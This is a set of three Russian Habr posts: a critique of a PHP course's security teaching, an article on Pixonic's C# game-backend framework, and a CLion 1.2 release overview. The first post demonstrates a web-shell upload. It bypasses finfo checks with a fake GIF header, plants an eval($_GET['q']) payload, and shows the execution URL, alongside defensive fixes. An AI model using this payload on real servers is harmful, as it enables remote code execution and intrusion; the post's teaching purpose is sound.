информацию об интересующем пользователе. И ещё один очень важный момент. При эксплуатации этой уязвимости мы использовали сообщения об ошибках. Если количество колонок в двух UNION запросах не совпадает, то БД любезно сообщит нам об этом. И здесь очень важно помнить, что **на боевом сервере системные сообщения об ошибках ни в коем случае не должны выводиться на экран**. **Важность правильной обработки ошибок в контексте безопасности.** Как знают все настоящие программисты, сообщения об ошибках — это совершенно незаменимые помощники. Они показывают — где, и как именно мы накосячили в коде, попутно сообщая кучу всякой дополнительной информации. Разумеется, то же самое верно и в случае попыток взлома, но с обратным знаком — если ошибки SQL выводятся прямо на экран, то в этом случае они помогают уже атакующему, которому становится гораздо легче добиться нужного результата. Именно поэтому ни в коем случае нельзя писать код, который всегда будет выводить ошибки на экран. Информирование об ошибках должно быть адаптивным, зависеть от окружения — в локальном/тестовом окружении можно и нужно выводить ошибки на экран, но вот на боевом сервере ошибки должны писаться только в лог. Но сожалению, в материалах курса ошибки как раз безусловно выводятся на экран, как это было принято в прошлом веке. Кто-то скажет — "ну не велика беда, это же учебный проект!" Я на это отвечу — в учебных проектах такие косяки стократ хуже. Человек с самого начала приучается делать неправильно — и дальше он либо будет продолжать косячить, либо ему придётся переучиваться. Я вот никогда не понимал такого подхода — сначала заведомо учиться делать неправильно, а потом переучиваться. Какой в этом смысл? Тем более что современный РНР позволяет настроить драйвер БД таким образом, чтобы в случае ошибки SQL выбрасывалось исключение, управлять поведением которого можно централизованно, с помощью одной-двух конфигурационных настроек. То есть мы вообще не пишем никакого кода для обработки ошибок запросов, никак не проверяем результат выполнения — и при этом всегда узнаем об ошибке, если она произойдёт. Получаем win-win — пишем гораздо меньше кода, и получаем более гибкую обработку ошибок! Что особенно пикантно — в отношении ошибок вообще, в учебнике пропагандируется правильный подход — ошибки не должны выводиться на экран. Но для ошибок SQL почему-то сделано исключение! Один из критериев успешности проекта буквально так и сформулирован — > С самым строгим уровнем репортинга ошибок (error\_reporting = E\_ALL) код личного проекта не должен вызывать никаких ошибок и предупреждений. Исключением являются ошибки, возникающие при использовании функций mysqli. Так и хочется воскликнуть устами Вовочки из анекдота — "Где логика, где разум?" **Как правильно защищаться?** Должен признаться, что я немного слукавил с обличениями выше. На самом деле рассуждения про экранирование в учебнике относятся к разделу про защиту строк. То есть формально там написано всё правильно. Но тем не менее, это устаревший и ненадёжный подход — что мы и увидели наглядно в коде студента. **Тому есть несколько причин:** * все эти рассуждения даются уже после того, как студенту показывали многократно в разных видах, как поместить переменную прямо в запрос без всякой защиты * все способы защиты, кроме подготовленных выражений, являются принципиально *внешними* для запроса, то есть их можно применить на довольно значительном расстоянии от него. Например, при помощи валидации входящих параметров. Это приводит к привычке не защищать сам запрос и — в конечном итоге — к инъекции. Потому что данные могут попадать в код разными путями, и не всегда валидируются вообще/валидируются правильно. Защита от инъекций должна проводиться в момент выполнения запроса, а это обеспечивают только подготовленные выражения. * само количество разнообразных вариантов вносит сумбур в голову студента. В учебнике есть отдельно про то, выполнять запросы без всякой защиты, про то как защищать числа, отдельно про строки, отдельно про подготовленные выражения. И всё это вразнобой, без чёткой системы. И в итоге в голове у студента тоже не оказывается чёткой картинки, а только куча ненужных, зачастую противоречащих друг другу указаний, которые, во-первых, только запутывают его, а во-вторых, заставляют вывести какое-то простое правило, которого стоит всегда придерживаться… и разумеется, это правило — "всё экранировать" **Именно поэтому**, вместо того чтобы путаться с кавычками, экранированием, строками, числами, кодировками, валидацией и прочим — разработчики всего мира уже давно выработали действительно безопасное универсальное правило: **любые данные передавать в запрос только через знаки подстановки** в подготовленных выражениях. В современном РНР (>= 8.1) это будут те же три строчки: ``` $stmt = $mysqli->prepare("SELECT MAX(amount) FROM bids WHERE lot_id = ?"); $stmt->execute([$_GET['id']]); $result = $stmt->get_result(); ``` Кода столько же, но при этом безопасность гарантирована. В более старых версиях добавится одна строчка с `bind_param`. Если с самого начала давать именно этот подход, то у студентов именно он будет откладываться на подкорке, именно его они будут применять по умолчанию. И как следствие — не будут позориться сами и позорить Академию на первом рабочем месте. **Важно:** Подготовленные выражения надо использовать всегда, для **любых** данных. Вторым по распространённости заблуждением является то, что "защищать" надо только "пользовательский ввод" — и это полная, совершенно беспросветная чушь. Во-первых, далеко не всегда средний разработчик может сказать, какие данные пришли от пользователя, а какие — нет. Во-вторых, даже в самых супер-доверенных данных могут встречаться спец-символы SQL, и они просто поломают запрос. И в-третьих, это просто глупо — сидеть и сортировать данные, идущие в запрос: "тэээк-с, вот эти у нас опасные, их защищаем, а вот эти — нет". Защищать надо все. **Любые** данные предаются в запрос через знаки подстановки. Точка. К сожалению, эта ересь про "пользовательский ввод" растиражирована вообще везде, включая таких тяжеловесов, как [OWASP](https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html#defense-option-4-escaping-all-user-supplied-input). Так что пнуть авторов учебника, в котором она повторяется, у меня не поднимется нога. Но тем не менее, это тоже очень важный момент, о котором надо всегда помнить. ### Заливка шелла. Эта уязвимость оказалась для меня сюрпризом. Если SQL инъекции в ученическом коде — это общее место, то заливка шелла — это уже заход с козырей, такое не часто встретишь. Рекомендуемый учебником способ валидации заливаемых файлов — через функцию [finfo\_file()](https://php.net/finfo_file), которая определяет тип файла по его **содержимому**, а точнее — по нескольким первым байтам. В то время как веб-сервер определяет mime-тип файла по его **расширению**. В итоге в любом наугад взятом учебном проекте легко заливается файл с расширением `.php`, а дальше веб-сервер его радостно исполняет. **Простенькая демонстрация уязвимости** Делаем файл `gif_header.php`: ``` php echo "\x47\x49\x46\x38\x39\x61\x18\x01\x5a\x00"; </code ``` и выполняем команду ``` php gif_header.php > fakegif.php ``` И дальше можно в любом редакторе дописать в него любой payload, самый простейший — ``` php eval($_GET['q']);</code ``` Остаётся только создать папочку uploads и простейшую форму для заливки файлов, строго следующую рекомендациям из учебного курса: ``` php if (isset($_FILES['image'])) { $finfo = finfo_open(FILEINFO_MIME_TYPE); $file_name = $_FILES['image']['tmp_name']; $file_type = finfo_file($finfo, $file_name); $error = ''; if ($file_type !== 'image/gif') { $error = "Загрузите картинку в формате Gif"; } if (!$error) { move_uploaded_file($_FILES['image']['tmp_name'], "uploads/".$_FILES['image']['name']); } } ? Ваш аватар: ``` после заливки файла переходим по адресу ``` http://localhost/uploads/fakegif.php?q=echo"hello!"; ``` и наслаждаемся результатом Ещё два года назад автору курса была наглядно продемонстрирована эта уязвимость, но так и не была исправлена. О причинах такого отношения мы поговорим во второй части. **Как правильно защищаться?** Тема довольно обширная, но как минимум надо просто добавить ещё и проверку на расширение, задавая его белым списком: ``` $file_type = strtolower(pathinfo($_FILES['image']['name'], PATHINFO_EXTENSION)); if (!in_array($file_type, ["jpeg", "jpg", "png", "gif"], true)) { $errors['imgage'] = 'Загрузите картинку в формате JPG, JPEG или PNG'; } ``` А так же, чтобы избежать довольно экзотической уязвимости сервера Apache, который расценивает file.php.jpg как файл *РНР*, ещё желательно и переименовывать картинку. Также хочу сразу предупредить о полной бесполезности проверки $\_FILES['image']['type'] — это значение присылает клиент, и может написать туда что угодно. Вот очень хорошая коротенькая статья с демонстрацией, [Spoofing MIME types: Why you can't trust the type field in $\_FILES](https://thisinterestsme.com/spoofing-mime-types/). ### XSS На фоне остальных проблем это уже кажется мелочью, но тем не менее, XSS — это тоже серьёзная уязвимость. Кроме того, она хорошо иллюстрирует один важный принцип, о котором я уже говорил выше, и который полностью игнорируется в учебнике — **принцип обязательности применения защитных механизмов вне зависимости от источника данных**. В данном случае учебник говорит нам ровно наоборот: > Считайте, что содержимое главной страницы (список категорий и объявлений) получено от пользователя, поэтому его нужно соответствующим образом фильтровать Сразу забивая в голову студента идею "источника данных", на который надо ориентироваться при экранировании. Простая мысль о том, что источник может со временем поменяться, или даже в самых супер-доверенных данных может оказаться нежелательный символ, автору курса в голову не приходит. В итоге у 80% студентов дыра в проекте, которая очень удачно заложена порядком заданий: в первом в тег выводится статическое значение, а в дальнейшем — пользовательский ввод. Но про несчастную шапку никто уже, разумеется, не вспоминает. Не говоря уже о том, что сам по себе подход — после каждого изменения в коде бегать по шаблонам с лупой и искать, у какой переменной поменялся источник, не надо ли её собираться начать экранировать — выглядит на редкость дурацким. Вот что стоило вместо подхода с "черным списком", да к тому же ещё и совершенно невнятным (а какие данные мы получили от пользователя? Из формы? А из БД — они ещё от пользователя или уже нет?), сразу использовать "белый": экранируется **вообще всё**, только если явно не задано обратное — как это принято во всех современных шаблонизаторах? Почти каждый студент задаёт вопрос — "А вот это значение надо экранировать? А это?". На что всегда хочется ответить в стиле поручика Ржевского из анекдота, который я здесь приводить не буду: "Выводим в HTML? Значит экранируем!" А что это за данные, откуда они взялись — нас не должно интересовать от слова "совсем". **Как правильно защищаться?** *Корректно экранировать выводимые данные в зависимости от контекста*. Если это HTML, то обрабатываем через `htmlspecialchars()` (с флагом `ENT_QUOTES`). Если передаём данные в Яваскрипт — то через `json_encode()`, если в URL query string — то `urlencode()`/`http_build_query()` — и так далее. Причём иногда разные варианты экранирования сочетаются в довольно интересных комбинациях: ``` "> ``` — именно так надо выводить аргумент функции на Яваскрипте в атрибуте HTML тега через РНР. Никакие символы, содержащиеся в `$v`не поломают нам разметку или код — и при этом и HTML и Яваскрипт отработают штатно. И самое главное — все эти правила надо применять **безусловно**, вне зависимости от каких-либо частностей или посторонних соображений. ### Вместо заключения Это правило кажется мне таким важным, что я даже решил выделить его в отдельный раздел. Все защитные механизмы должны применяться безусловно, на автомате. Без рассуждений вида "ну эти данные безопасные, их защищать не будем". Любые данные опасны, любые данные надо защищать. Причём это касается всех уязвимостей — как мы видели выше, с SQL инъекциями применяется тот же принцип *безусловности защиты*. Нас никак не должен волновать ни предполагаемый состав данных, ни источник их происхождения, ни любые другие соображения. Единственное что важно — пункт назначения. И — разумеется — обязательность форматирования. Также важно помнить, что форматирование должно производиться перед самым использованием данных, а не где-то сильно заранее. Если это SQL запрос — то прямо при выполнении. Если это HTML — то в момент вывода. И так далее. Часть вторая, бюрократическая. ============================== Самое обидное, что в целом-то курс неплохой, в нём есть немало положительных моментов. А недостатки — у кого их нет? Они не составляют проблемы, если своевременно выявляются и устраняются. В конце концов, это нормальный путь развития любого проекта. Но почему-то именно с этим у Академии проблемы **гораздо хуже, чем с контентом**. Странное нежелание исправлять даже мелкие огрехи уже давно стало местным анекдотом. Например, на одном из учебных проектов есть нерабочий яваскрипт, который не даёт заливать файлы, даже если сам по себе не используется — его вызов надо просто убрать из кода страницы. В итоге каждый новый студент мучается, дебажит заведомо нерабочий код (который вообще не имеет никакого отношения к учебному заданию), и потом радостный приходит в чат сообщить о находке, а ему показывают все предыдущие сообщения на эту тему. Или об эту же ошибку спотыкается уже тяжёлая артиллерия — кто-то из свежих "наставников". Привыкший к современным подходам к разработке и управлению проектами, он с налёту наивно предлагает — "да исправлять ничего не надо, просто дайте доступ к репозиторию, мы всё поправим, нужно будет только ПР принять". Казалось бы — вот оно, решение проблемы! Краудсорсинг, спасение утопающих руками самих утопающих. Если у авторов настолько плотный график по разработке новых курсов, что нет времени заниматься правками в уже существующих, то вот оно — идеальное решение! Но по какой-то причине все такие предложения забалтываются невнятными заверениями о том что всё сложно, доступ дать нельзя, но мы обязательно поправим. Уязвимость с заливкой шелла является наиболее показательной в этом плане. Автору курса в чате Слака была наглядно продемонстрирована эта уязвимость, примерно так же, как здесь — с живыми примерами. Казалось бы — там правок в учебнике на 1 абзац, просто добавить информацию о том, что проверять расширение тоже обязательно. Но по какой-то причине это **так и не было сделано**. В конце прошлого года, путем многомесячных напоминаний, мне удалось добиться невозможного. Какие-то ржавые колёса провернулись, бюрократическая машина попыхтела и неожиданно дала мне доступ к репозиторию с учебником по РНР. Радостный, я с энтузиазмом взялся за работу, тем более что буквально за пару дней до этого назад был ошарашен заявлениями студента, почерпнутыми им из учебника, причем из главы, в которую я никогда не заглядывал — там вроде и накосячить-то негде. Не желая затягивать процесс, я за сутки представил обновлённый вариант, постаравшись переработать материал так, чтобы он был более стройным, логичным, и не содержал фактических ошибок… В течение трёх месяцев мне приходилось постоянно напоминать о висящем PR, после чего он с некоторыми правками был принят, а ещё через два месяца по какой-то причине проект свернули, все правки откатили и доступ к репозиторию у меня отобрали. Я так до сих пор и не знаю, что это было. Удивительно, что любые попытки что-то исправить уходят в "в молоко". Есть буквально считанные исключения из этого правила, но это просто капля в море. При том что чисто внешне с Q&A у Академии всё просто замечательно: * под каждой главой учебника есть форма обратной связи, в которую можно написать замечания * в гите Академии есть отдельный баг-трекер, в котором можно создавать issues * есть есть многочисленные чаты в Слаке, как общие, так и по курсам * есть "кураторы", которые тоже по идее должны реагировать на замечания и предложения * есть даже специальная штатная единица "руководителя направления по работе с наставниками" Но при этом единственная реакция, которую можно получить — это заверения о том, что все будет обязательно исправлено. Когда-нибудь. И работа этого самого "руководителя направления по работе с наставниками" заключается не в том, чтобы реагировать на замечания, а в том, чтобы гасить любые негативные эмоции. Вот эта работа в Академии поставлена очень хорошо. Огромное количество сотрудников занимаются только одним — следят за "позитивом". Типичная трёхходовка, "вот проблема, вот как её исправить", "спасибо, принято!", "эээ — а вот мы снова наступили на эти же грабли, их что — не исправили?", которая затем превращается в чеырёх-, пятиходовку и так далее далее — утыкается в заверения о том что всё хорошо и не надо нервничать. Причём утешителей тоже можно понять: они разрываются между посторонним, в общем-то, человеком, искренне желающим помочь проекту, и сотрудником Академии, который не желает делать свою работу. И в итоге "руководитель направления по работе с наставниками" даже жаловался мне на нервные срывы, которые случаются у него на этой почве. Охотно верю. У меня бы тоже был нервный срыв. Скажу честно — у меня нет подходящего объяснения такого отношения. Особенно учитывая серьёзность проблемы. Это всё-таки не вопрос, в каком порядке запятые расставлять. Но все объяснения, которые я смог придумать, не кажутся мне правдоподобными. Можно попробовать списать такое отношение на личность автора курса. В конце концов, в служебном чате часто появляются запросы вида "Уважаемые наставники, нет ли среди вас экспертов по flutter(ansible/whatever) — нам нужен человек, чтобы сделать review курса", но никогда не было такого запроса по РНР. Отчасти это объяснимо — РНР считается таким простачком, и каждый считает себя экспертом в этом языке. А зачем проверять за экспертом? Но эта версия не кажется особо жизненной — ведь кроме автора курса должны же быть и другие сотрудники, которым небезразлично качество образования в Академии? Почему такой жестокий игнор почти любых обращений? Была у меня версия, что курс по РНР — это такой никому не нужный сиротка, который уже не актуален, а продвигается чисто по инерции. Но меня очень горячо и искренне заверяли что это не так. Версию жадности — когда принцип работы курсов строится на подходе "сделать один раз абы как и потом стричь денежки с лохов" я не рассматриваю, в такой цинизм я сам поверить не могу. От самих "кураторов", разумеется, ответа я тоже не получил. Но если честно, то очень хочется узнать разгадку этой тайны. Рекомендации ============ В заключение я возьму на себя смелость дать несколько рекомендаций для администрации Академии. И в первую очередь — серьёзнее подходить к проблемам качества. Причём по-настоящему, не делая из Q&A карго-культа. И демонстрировать не показное, а реальное внимание к запросам и чаяниям наставников и студентов. Не заметать проблемы под ковёр, замалчивая их всеми силами. Освоить современные способы управления информацией — в частности, git и краудсорсинг. Больше задействовать инициативу и волонтёрство. --- Телеграм канала у меня нет, так что прорекламировать статьёй нечего. Но если у вас есть вопросы, как по статье, так и по любым другим учебным материалам, а так же по безопасности веб-приложений в целом — обращайтесь, в комментариях или в личку — я постараюсь всем помочь и ответить. Также готов провести аудит РНР курсов на предмет адекватности, современности и безопасности.
https://habr.com/ru/post/672800/
null
ru
null
# Meta Gameplay Framework, или бэкенд без серверных разработчиков ![](https://habrastorage.org/r/w1560/webt/ih/bd/n8/ihbdn8-nf9i2ci0-hgf7zbc-i6a.png) Привет! Меня зовут Кирилл, я руководитель отдела серверной разработки в Pixonic. Здесь я работаю уже более 5 лет. Долгое время Pixonic была компанией одной игры — War Robots. Но однажды к нам пришло осознание, что так больше продолжаться не может, и мы начали работу над созданием новых проектов. Поначалу мы взялись за это дело по старинке, используя традиционные для нас подходы: писали клиент на Unity 3D, бэкенд разрабатывали на Java. Это было привычно, понятно, но имело ряд серьезных недостатков. Проекты разрабатывались медленнее, чем нам бы хотелось. Для выполнения любой задачи необходимо было задействовать как минимум двух разработчиков. Однако, когда в разработке участвуют два и более человека, неизбежно возникают ошибки в духе: то один не так понял другого, то второй работает быстрее, чем первый. Такие ситуации приводят к тому, что кому-то из разработчиков в дальнейшем приходится возвращаться к задаче, которую он, казалось, уже давно закончил, а ведь у него и других дел полно. Так мы начали думать над тем, как разрешить эту проблему. Еще нас огорчало, что каждый раз так или иначе приходилось сталкиваться с инфраструктурными вопросами: разработка и поддержание API и схем баз данных, написание DTO’шек, их преобразование из и в модели на клиенте и сервере. Эта рутина многим привычна, они ее даже не замечают, однако она отнимает время, которое можно было бы использовать с большей пользой. Эту проблему, казалось бы, можно решить клонированием предыдущего проекта — но все оказывается сложнее, когда дело доходит до взаимодействия с геймдизайнерами. Они постоянно придумывают что-то новое, и даже если поначалу кажется, что у проектов много общего — возьми да скопируй, — то по факту оказывается, что это совсем не так. В итоге от клонированного проекта остается только набор библиотек и каркас à la bootstrap. После долгих размышлений наши желания оформились в следующие требования: * Один разработчик должен уметь выполнить задачу как на клиенте, так и на сервере: не должно быть разделения ролей по профилю. * Разработчики в своей работе не должны задумываться об инфраструктуре: о базах данных, протоколах взаимодействия между сервисами, логировании совершенных операций. Все внимание должно быть сосредоточено на разработке бизнес-логики. * Модели, используемые на сервере, должны как можно чаще использоваться на клиенте. * Фреймворк должен предоставлять простые и понятные механизмы для выполнения рутинных операций: списания/начисления игровой валюты, выдачи игровых предметов, открытия лутбоксов, работы с платежами из сторов, с аналитикой и т.д. * Все операции, совершаемые игроком, должны быть доступны из панели администрирования — это позволило бы команде техподдержки, тестировщикам и разработчикам лучше понимать, что происходило с игроком в случае поступления жалоб или обнаружения ошибок. На момент начала разработки фреймворка на рынке уже было несколько предложений, частично удовлетворяющих нашим требованиям, — PlayFab и GameSparks. Это отличные решения, построенные по модели LiveOps, но имеющие ряд критических для нас недостатков: * Код пишется на JavaScript, что не дает возможности полноценного переиспользования в Unity 3D, и в любом случае приходится преобразовывать ответы сервиса в модели клиента. Получается, что разработчик должен знать два языка программирования и выполнять дополнительную работу, которой хотелось бы избежать. * Наша цель — разработка хита, а значит — речь идет о миллионах игроков в день. Стоимость работы этих сервисов на наших объемах становится значительно больше, чем стоимость самостоятельного владения подобным решением. Итак, у нас получился следующий набор необходимых технологий и методов: * C# (.net core для сервера и клиента, .net 3.5, 4.X для клиента). Мы хотим, чтобы разработчик мог разрабатывать как клиентскую, так и серверную часть задачи. Уйти от Unity 3D мы не можем, а вот написать сервер на C# — вполне. * Orleans — фреймворк для построения распределенных, отказоустойчивых и масштабируемых систем в модели акторов от Microsoft (использовался в Halo). Использование этого фреймворка обусловлено тем, что с нашими задачами рано или поздно придется масштабироваться — к тому же, хочется, чтобы решение было отказоустойчивым. * GRPC — для общения сервисов между собой, так как в системе, кроме сервиса игроков, построенного на Orleans, существуют и другие: авторизация, загрузка каталогов и прочее — в том числе и сервисы, которые ранее были написаны на Java и оказались по-настоящему автономны и независимы от того проекта, в котором используются. * Postgres — для хранения данных игроков. Для масштабирования базы данных мы используем шардирование. * Docker — с ним удобно разворачивать окружение локально и в тестовой среде. Таким образом, геймдизайнеры и разработчики могут работать с метой так, чтобы никому не мешать. Можно у себя ее локально поднять, проверить, что все работает, как нужно, и запушить уже измененный код в репозиторий. * Prometheus — для мониторинга. * Event Sourcing — парадигма, которую мы используем для хранения данных игроков. Она часто используется в банках. Подход здесь такой: когда мы работаем через Event Sourcing, все, что мы делаем, представлено в виде потока событий. Как упоминалось ранее, хотелось бы постоянно иметь историю, которая сохраняется в базе данных. Этот поток событий и есть наша история, по которой мы можем отслеживать, что происходило. Если что-то пошло не так, мы можем посмотреть интересующее нас событие в прошлом и полностью восстановить состояние игрока. Кроме технической составляющей, есть еще логическая. Ни один проект, который мы делаем, не может существовать в вакууме: он должен постоянно конфигурироваться, настраиваться, и желательно, чтобы это проходило не в режиме, когда мы что-то уже сделали, скомпилировали и выпустили. Хотелось бы не обновлять клиент каждый раз, как мы выполняем перенастройку параметров бизнес-логики (цена предметов, скидки, запас здоровья у аватаров, урон от оружия и т.д.). Обычно настройками параметров игры занимаются геймдизайнеры. Они уже давно работают в таблицах Excel или Google Sheets, поскольку в них удобно производить расчеты, задавать формулы, строить графики. Поэтому мы решили, что хорошей идеей будет эти же таблицы использовать не только для расчетов, но и для хранения параметров игры. Единственное, чего нам не хватало — формализации правил хранения данных, чтобы парсер знал, откуда эти данные брать. В итоге мы сделали несколько вариантов шаблонов вкладок под наши нужды: * вкладки конфигурирования игровых предметов; * вкладки настройки экспериментов (A/B тестов); * вкладки настройки лутбоксов; * вкладки настройки игровых валют; * вкладки для хранения простых настроек, заданных в виде «ключ-значение». ![](https://habrastorage.org/r/w1560/webt/2m/n3/jh/2mn3jhbbgqmlkhzg0vxpgbcsepg.png) *Пример конфигурирования предмета* На примере выше показана вкладка, содержащая конфигурации предметов. Они имеют несколько стандартных колонок: ID, теги и цена. Эти значения обрабатываются особым образом. По ID и тегам, например, производится индексирование, так что по ним легко осуществлять поиск. Остальные колонки задаются свободно, и их может быть сколько угодно. Из кода такие данные получить очень просто: ``` // Находим в каталоге предмет с идентификатором 'Reaver_1': ItemBlueprint itemBlueprint = catalog.GetItemBlueprint(ItemBlueprint.ValueOf("Reaver_1")); // Получаем проверенное значение из колонки с названием 'grade'. // Если поле отсутствует или имеет неверный тип, далее этот результат будет передан // в админку, где будет выведена информация о месте нахождения ошибки: Validated grade = itemBlueprint.ShouldHasIntAttr("grade"); ``` Помимо каталогов, фреймворк предоставляет другие базовые примитивы, которые используются во всех наших играх: * Профиль игрока. Он содержит имя и дату регистрации пользователя, а также позволяет хранить проектно специфичные данные. * Кошелек. Благодаря нему начисляются и списываются валюты, выводится их баланс. Помимо прочего, реализация нашего кошелька позволяет отслеживать источники, из которых были получены валюты, и, как следствие, определять, на что игроки тратят реальные деньги, а на что — полученные в процессе игры. Это важно для понимания того, что представляет большую ценность для игрока. * Инвентарь. Он позволяет управлять внутриигровыми предметами: добавлять их, удалять, осуществлять поиск. * Предметы. Они делятся на два вида: 1. Обладающие индивидуальностью и состоянием. Таким предметам можно задавать проектно специфичные параметры. Так, например, у брони может отслеживаться состояние ее износа. 2. Не обладающие индивидуальностью. Обычно это потребляемые предметы. В таком случае хранится только счетчик их количества. Пример таких предметов — бутылки с целебным зельем. * Лутбоксы. Сейчас без них немыслима ни одна free-to-play игра. Наше решение позволяет задавать различные варианты генерации контента для выдачи: от 100% гарантированного — в этом случае лутбоксы можно использовать как обычные контейнеры, — до полностью случайного. Помимо этих базовых примитивов, на которых строится большая часть мета-геймплея в играх, фреймворк также предоставляет механизмы работы с A/B тестами, авторизацией, обработкой платежей сторов, выполнения отложенных задач, обезличивания данных и многие другие. Приведем небольшой пример демо-команды. Хотя в ней и не происходит никакой сложной работы с бизнес-логикой, для наших демонстрационных нужд она подходит отлично: ``` // Описываем команду, представляющую из себя обычную DTO, // которая может быть сериализована в Json: public class DemoCommand : ICommand { public string BlueprintId; public int Value; } // Описываем обработчик команды: public class DemoHandler : HandlerBase, ICommandHandler { public void Handle(ICommandContext context, DemoCommand command) { // Inventory — объявлен в HandlerBase. // Создаем новый предмет по образцу из каталога: var demoItem = Inventory.GrantItem(ItemBlueprintId.ValueOf(command.BlueprintId)); // Задаем предмету значение атрибута 'demo\_value': demoItem.Attributes["demo\_value"] = command.Value; } } ``` Заводим команду и ее обработчик. В реализации обработчика видно, что мы обращаемся к инвентарю и выдаем предмет игроку. После этого мы присваиваем предмету атрибут «demo\_value» со значением, переданным в команде. Ниже приведен пример того, как происходит выполнение команды и обработка ее результата на клиенте: ``` // Выполняем команду на сервере: var command = new DemoCommand { BlueprintId = "Reaver_1", Value = 777 }; var commandResult = connection.Execute(command); // Из ответа получаем обновленный инвентарь игрока: var inventory = commandResult.Player.Inventory; // Получаем последний созданный предмет: var demoItem = inventory.FindItemsByBlueprint(ItemBlueprintId.ValueOf("Reaver_1")).Last(); // Выводим установленное значение: Console.WriteLine(demoItem.Attributes["demo_value"]); ``` Так при чем здесь Event Sourcing? Как видно из предыдущего примера, мы пишем код в классическом императивном стиле. Здесь нет работы с базой данных. Метод обработки команды не возвращает никаких результатов. Так как же это работает? Никакой магии тут нет. На вызове метода инвентаря GarntItem и при операции присвоения фреймворк генерирует события, сохраняемые в контексте выполнения. После совершения операции эти события заносятся в базу данных. Они же уходят на клиент, где применяются к текущему состоянию игрока. Ниже приведена упрощенная диаграмма того, что происходит при взаимодействии клиента и сервера: ![](https://habrastorage.org/r/w1560/webt/2l/vw/ip/2lvwipppf7rzatyobv2ubeitvgi.png) В базе данных сохраняется каждая транзакция обработки команды со всеми событиями, которые произошли в этот момент. Эти транзакции используются как для дальнейшего восстановления профиля игрока со всеми его данными, так и для отображения в панели администрирования. Ниже приведен пример отображения транзакций игрока из реального проекта. Здесь мы видим две прошедших транзакции. Одна из них — создание нового игрока, вторая — принятие пользовательского соглашения с определенной версией. ![](https://habrastorage.org/r/w1560/webt/ru/fb/hb/rufbhbk4vy7b9kva1_vyqrkqlj8.png) *Пример лога транзакций из реального проекта* В настоящее время фреймворк используется в трех проектах студии. Один из них уже около полугода находится в продакшене. В разработке этого проекта команда серверных разработчиков принимала непосредственное участие, чтобы понять, насколько удобно пользоваться нашим решением. Почему? Потому что мета была еще достаточно молодой. И на проекте мы приводили ее в порядок: упрощали API, что-то выкидывали за ненадобностью, где-то, напротив, добавляли разнообразия в наиболее часто повторяющихся паттернах. В двух других играх, как и задумывалось, всю разработку осуществляют уже Unity-разработчики без нашего вмешательства. Это позволяет компании развиваться и разрабатывать новые проекты без расширения штата. Несмотря на то, что в проекте уже многое сделано, он продолжает активно развиваться: проводятся оптимизации, добавляются новые функции. Мы уверены, что фреймворк ждет большое будущее в наших текущих и новых проектах. А может, и не только в наших, и эта идея окажется полезна и читателям тоже.
https://habr.com/ru/post/527566/
null
ru
null
# CLion 1.2: еще больше возможностей и преимуществ Сегодня мы хотим рассказать про новый релиз нашей кросс-платформенной IDE для C и C++ — CLion 1.2. Этот релиз вышел буквально на днях, в рамках [апдейта всех десктопных продуктов JetBrains и запуска новой лицензионной модели](http://habrahabr.ru/company/JetBrains/blog/270003/). ![](https://habrastorage.org/r/w1560/getpro/habr/post_images/7d7/287/655/7d7287655684b8102be2cf432ceb4a62.png) Кстати, если у вас уже есть лицензия CLion (купленная до 2 ноября или после запуска новой лицензионной модели), этот апдейт Вы получаете абсолютно бесплатно. Итак, что же внутри? Google Test =========== Одно из главных нововведений этого релиза — поддержка Google Test и возможность запускать тесты прямо из IDE. Для этого в CLion реализованы специальные конфигурации, которые создаются автоматически при запуске теста, файла с тестами, тестового класса или вручную в настройках. В настройках конфигурации указывается, какие тесты запускать, какой при этом таргет вызвать и пр.: ![](https://habrastorage.org/r/w1560/getpro/habr/post_images/d24/b70/ead/d24b70ead2a84d3de0eb1ca23fb045a4.png) Непосредственно запустить тест можно через контекстное меню или по сочетанию клавиш (`Ctrl+Shift+F10` на Windows/Linux, `Ctrl-Shift-R` на OS X). Результат запуска будет отображаться в специальном окне: ![](https://habrastorage.org/r/w1560/getpro/habr/post_images/e39/98b/7cd/e3998b7cd4c84cbc35220b216529aae3.png) Интерфейс наверняка знаком тем, кто использовал/использует другие продукты на основе нашей платформы IntelliJ. Из этого окна можно: * перезапустить все тесты или только упавшие; * отсортировать тесты по имени или по длительности прохождения; * посмотреть/перейти на код конкретного теста; * посмотреть вывод каждого конкретного теста и сообщения об ошибках; * перенести результаты текущего запуска тестов в файл; * посмотреть предыдущие запуски тестов по истории, которая сохраняется автоматически. Для облегчения же непосредственно написания тестов мы добавили кодогенерацию: ![](https://habrastorage.org/r/w1560/getpro/habr/post_images/24d/c05/d65/24dc05d65661a684c21eb16bfac49f7c.png) Меню появляется по нажатию на `Alt+Insert` на Windows/Linux, `Cmd-N` на OS X, и предлагает сгенерировать один тест, тестовый класс (fixture) и стандартную пару методов SetUp/TearDown. При этом генерация непосредственно тестового метода хитрая — сначала всегда создается макрос TEST(), а потом, в зависимости от контекста, он автоматически заменяется на более подходящий. Например, при указании имени существующей fixture, макрос автоматически заменяется на TEST\_F(): ![](https://habrastorage.org/getpro/habr/post_images/c12/a31/143/c12a311439aea5fa9f565d39aa6c5d18.gif) Более детально прочитать и посмотреть про Google Test в CLion 1.2 можно в [нашем англоязычном блоге](//blog.jetbrains.com/clion/2015/10/new-clion-1-2-eap-build-brings-you-google-test/) и в соответствующем [видео на канале YouTube](https://youtu.be/8Up5eNZ0FLw). Улучшения по поддержке C++ ========================== В данный релиз вошло более 50 исправлений, связанных с языком C++. Например, поддержка макроса *\_\_LINE\_\_*, необходимого для разработки под Unreal Engine 4 и не только. (Кстати, о получении CMake проекта для работы с UE4 в CLion читайте [статью](//letstryunreal.wordpress.com/2015/05/06/setting-up-cmake-environment/) на английском от нашего коллеги). Наши IDE известны тем, что умеют выводить типы, а с появлением C++11 это стало актуально и для C++. Дело в том, что определить тип у переменной, объявленной как *auto*, не всегда просто, нужно долго и внимательно изучать, какой же вызов присваивает значение в переменную. Здесь приходит на помощь IDE — всплывающее окно Quick Documentation покажет нужный тип. В новой версии CLion 1.2 поправлено несколько проблем с выводом таких типов: ![](https://habrastorage.org/r/w1560/getpro/habr/post_images/307/9a0/bcc/3079a0bccfdf6546a5ba706d228e1780.png) Продолжая работу над шаблонами, мы реализовали поиск использований и рефакторинг переименования для шаблонных параметров. А на случай, если параметр никак не используется, в IDE добавили возможность умного удаления (quick-fix) параметра из определения и использований шаблона: ![](https://habrastorage.org/getpro/habr/post_images/3f4/96d/419/3f496d4191a5d02f1007d01419ee2d27.gif) CMake ===== Для облегчения написания файлов CMake в CLion 1.2 появились две возможности: * готовые шаблоны (Live Templates) 